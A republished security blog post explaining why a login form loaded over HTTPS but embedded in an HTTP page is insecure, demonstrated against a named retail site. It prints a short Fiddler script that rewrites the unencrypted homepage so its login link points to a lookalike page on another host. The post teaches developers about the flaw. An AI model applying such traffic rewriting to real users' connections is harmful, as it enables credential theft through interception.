Over a million developers have joined DZone.

Security Futility: Embedding Secure Login Forms within Insecure Pages

· DevOps Zone

The DevOps Zone is brought to you in partnership with Sonatype Nexus. The Nexus Suite helps scale your DevOps delivery with continuous component intelligence integrated into development tools, including Eclipse, IntelliJ, Jenkins, Bamboo, SonarQube and more. Schedule a demo today

I’ve been writing a bunch of content around HTTPS lately and recording videos to demonstrate the ease with which insecure implementations of SSL can be broken. For example, there was the piece on why you can’t trust SSL logos, then how loading login forms over HTTP but posting to HTTPS is pointless and most recently, why those mixed content warnings mean easy pickings for attackers on the transport layer. All of these involve working demonstrations against real sites who just don’t quite get HTTPS.

Today’s example is about what happens when a login page is loaded securely, albeit embedded within an insecure page. This is a common security anti-pattern and you’ll see it on many sites. The example in the video is from Countdown in New Zealand but again, there are countless others out there. Take a look at the video then I’ll come back to how I mounted the attack:

Make sense? In short, you can never trust the HTTP component of the communication and without the ability to see the URL in the browser loaded over an HTTPS address with a valid certificate, the SSL implementation is almost useless.

The mechanics of how I’ve demonstrated attacks against insufficient use of SSL involves using Fiddler script. Many of you may already be familiar with Fiddler, the scripting option gives us the ability to manipulate unencrypted traffic on the wire just as an attacker might at any point in the network communication. Clearly an attacker at, say an ISP or running a rogue wireless hotspot wouldn’t be running Fiddler, but the mechanics of manipulating requests and responses is similar with other tools.

In this example I simply added the following script in the OnBeforeResponse event:

if (oSession.HostnameIs("www.countdown.co.nz") && oSession.PathAndQuery=="/") {// Remove any compression or chunkingoSession.utilDecodeResponse();
var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);
// Change the path of the login formoBody = oBody.replace("/onecard/panels/customer-login",
"http://hackyourself.troyhunt.com/Countdown");
// Set the response body to the changed body stringoSession.utilSetResponseBody(oBody);
}

In other words, when the homepage is loaded simply replace the link to the login form from the original one to the attacker’s one that looks the same. Job done.

The DevOps Zone is brought to you in partnership with Sonatype Nexus. Use the Nexus Suite to automate your software supply chain and ensure you're using the highest quality open source components at every step of the development lifecycle. Get Nexus today

Topics:

Published at DZone with permission of Troy Hunt, DZone MVB. See the original article here.

Opinions expressed by DZone contributors are their own.

The best of DZone straight to your inbox.

SEE AN EXAMPLE
Please provide a valid email address.

Thanks for subscribing!

Awesome! Check your inbox to verify your email so you can start receiving the latest in tech news and resources.
Subscribe

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}